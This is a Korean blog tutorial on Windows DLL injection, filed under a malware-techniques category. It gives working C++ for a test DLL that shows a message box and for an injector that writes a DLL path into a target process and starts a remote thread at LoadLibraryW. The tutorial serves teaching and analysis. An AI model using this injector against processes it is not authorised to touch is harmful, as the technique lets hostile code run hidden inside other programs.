본문 바로가기

Malware/기술 & 기법

[Injection] DLL 인젝션

개요


이전 포스트에는 코드 인젝션에 대해 다뤄 보았다. 만약 이전 포스트를 읽지 않았다면 이전 포스트를 먼저 보도록 하자. DLL 인젝션은 인젝션 할 코드 대상 프로세스에 쓰는 것이 아닌 DLL 파일에 인젝션 할 코드를 포함시켜 대상 프로세스가 DLL 파일을 로드하도록 하는 것이다. 스레드 시작 주소를 LoadLibrary() 함수로 설정하고 파라미터는 DLL 파일의 경로를 지정해주는 방법으로 DLL 파일을 주입시킬 수 있다.  DLL 인젝션은 코드 인젝션에 비해 난이도는 쉬운 편이고 발견될 확률은 더욱 높은 편이지만 편리성이 뛰어나다는 장점이 있기 때문에 특별한 경우를 제외하고는 대부분의 사람들이 DLL 인젝션을 선호한다.

 

DLL 파일


#include <iostream>
#include <Windows.h>

BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD fdwReason, LPVOID lpvReserved) {
	switch (fdwReason)
	{
	case DLL_PROCESS_ATTACH:
		MessageBoxA(NULL, "Success", "INFO", MB_OK);
		break;
	case DLL_PROCESS_DETACH:
		break;
	default:
		break;
	}
}

프로세스에 DLL 파일이 처음으로 프로세스에 매핑되었을 때 DllMain 함수를 fdwReason 인자 값으로 DLL_PROCESS_ATTACH로 설정하고 호출해준다. 우리가 목표하는 것은 DLL 파일이 로드되었을 때 원하는 코드를 실행하는 것이므로 fdwReason이 DLL_PROCESS_ATTACH 일 경우와 일치한다. 위에 작성된 코드는 DLL_PROCESS_ATTACH 일 경우에 MessageBoxA() 함수로 메시지 박스를 띄우는 간단한 코드이다. 예시와 달리 다른 코드를 넣고 싶다면 MessageBoxA() 함수를 호출하는 부분을 지우고 미리 작성된 함수를 호출해주자.

인젝터


// Injector.h
#pragma once
#include <iostream>
#include <Windows.h>

class Injector
{
private:
	HANDLE hProcess;
	HANDLE hThread;
public:
	Injector();
	~Injector();
	bool OpenTargetProcess(DWORD pid);
	void CloseTargetProcess();
	bool Injection(const wchar_t* pDllPath);
};
// Injector.cpp
#include "Injector.h"

Injector::Injector() : hProcess(NULL), hThread(NULL) {}
Injector::~Injector() { CloseTargetProcess(); }

bool Injector::OpenTargetProcess(DWORD pid) {
	CloseTargetProcess();
	this->hProcess = OpenProcess(
		PROCESS_CREATE_THREAD | PROCESS_QUERY_INFORMATION | PROCESS_VM_OPERATION | PROCESS_VM_READ | PROCESS_VM_WRITE,
		FALSE,
		pid
	);
	if (this->hProcess == NULL) {
		return false;
	}

	return true;
}

void Injector::CloseTargetProcess() {
	if (hProcess)
		CloseHandle(hProcess);
	if (hThread)
		CloseHandle(hThread);

	hProcess = NULL;
	hThread = NULL;
}

bool Injector::Injection(const wchar_t* pDllPath) {
	SIZE_T size;
	LPVOID lpLoadLibraryW = NULL;
	LPVOID lpRemoteBuffer = NULL;

	if (this->hThread != NULL) {
		CloseHandle(this->hThread);
		this->hThread = NULL;
	}

	size = wcslen(pDllPath) * sizeof(wchar_t) + sizeof(wchar_t);
	lpLoadLibraryW = GetProcAddress(GetModuleHandleW(L"kernel32.dll"), "LoadLibraryW");
	if (lpLoadLibraryW == NULL) {
		return false;
	}
    
	// 인젝션할 코드가 아닌 DLL 경로를 할당함.
	lpRemoteBuffer = VirtualAllocEx(this->hProcess, NULL, size, MEM_COMMIT, PAGE_READWRITE);
	if (lpRemoteBuffer == NULL) {
		return false;
	}

	if (!WriteProcessMemory(this->hProcess, lpRemoteBuffer, pDllPath, size, NULL)) {
		return false;
	}

	// 스레드 시작 주소를 LoadLibraryW() 함수로 세팅하고 파라미터를 DLL 경로로 설정.
	this->hThread = CreateRemoteThread(this->hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)lpLoadLibraryW, lpRemoteBuffer, 0, NULL);
	if (this->hThread == NULL) {
		return false;
	}

	WaitForSingleObject(this->hThread, INFINITE);
	VirtualFreeEx(this->hProcess, lpRemoteBuffer, size, MEM_RELEASE);
	return true;
}
// main.cpp
#include "Injector.h"

using namespace std;

int main(void) {
	Injector* injector = new Injector();

	if (!injector->OpenTargetProcess(4360)) { // 인젝션할 대상 프로세스 PID
		cout << "[!]OpenTargetProcess" << endl;
		return 1;
	}
	if (!injector->Injection(L"C:\\Temp\\test.dll")) { // DLL 경로
		cout << "[!]Injection" << endl;
		return 1;
	}
    
	injector->CloseTargetProcess();
	delete(injector);
	return 0;
}

DLL 파일만 필요한 것이 아닌 DLL 파일을 대상 프로세스에 인젝션 시킬 인젝터 또한 필요하다. 코드 인젝션 코드와는 다르게 메모리를 할당할 때 인젝션 할 코드가 아닌 DLL 경로를 할당하고 스레드 시작 주소로 LoadLibraryW() 함수에 설정한다는 점이다. LoadLibraryW() 함수를 스레드 시작 주소로 사용하는 이유는 첫 번째 인자 값에 있는 경로에 있는 모듈을 현재 프로세스에 로드하는 함수이기도 하고 LoadLibraryW() 함수는 인자 1개만을 받으며 CreateRemoteThread() 함수로 지정 가능한 인자의 개수는 1개로 동일하기 때문이다. 

HMODULE LoadLibraryW(
  LPCWSTR lpLibFileName
);

HANDLE CreateRemoteThread(
  HANDLE hProcess,
  LPSECURITY_ATTRIBUTES lpThreadAttributes,
  SIZE_T dwStackSize,
  LPTHREAD_START_ROUTINE lpStartAddress,
  LPVOID lpParameter, // 스레드 인자 주소, 1개만 지정 가능
  DWORD dwCreationFlags,
  LPDWORD lpThreadId
);

결국 CreateRemoteThread() 함수로 생성된 원격 스레드는 LoadLibraryW() 함수를 스레드 인자로 설정해준 DLL 파일을 로드할 것이다.

참고문헌


DLL의 진입점 함수, http://egloos.zum.com/sweeper/v/2991972

'Malware > 기술 & 기법' 카테고리의 다른 글

[Process Hollowing] 프로세스 할로잉  (0) 2019.11.14
[Injection] 코드 인젝션  (1) 2019.11.13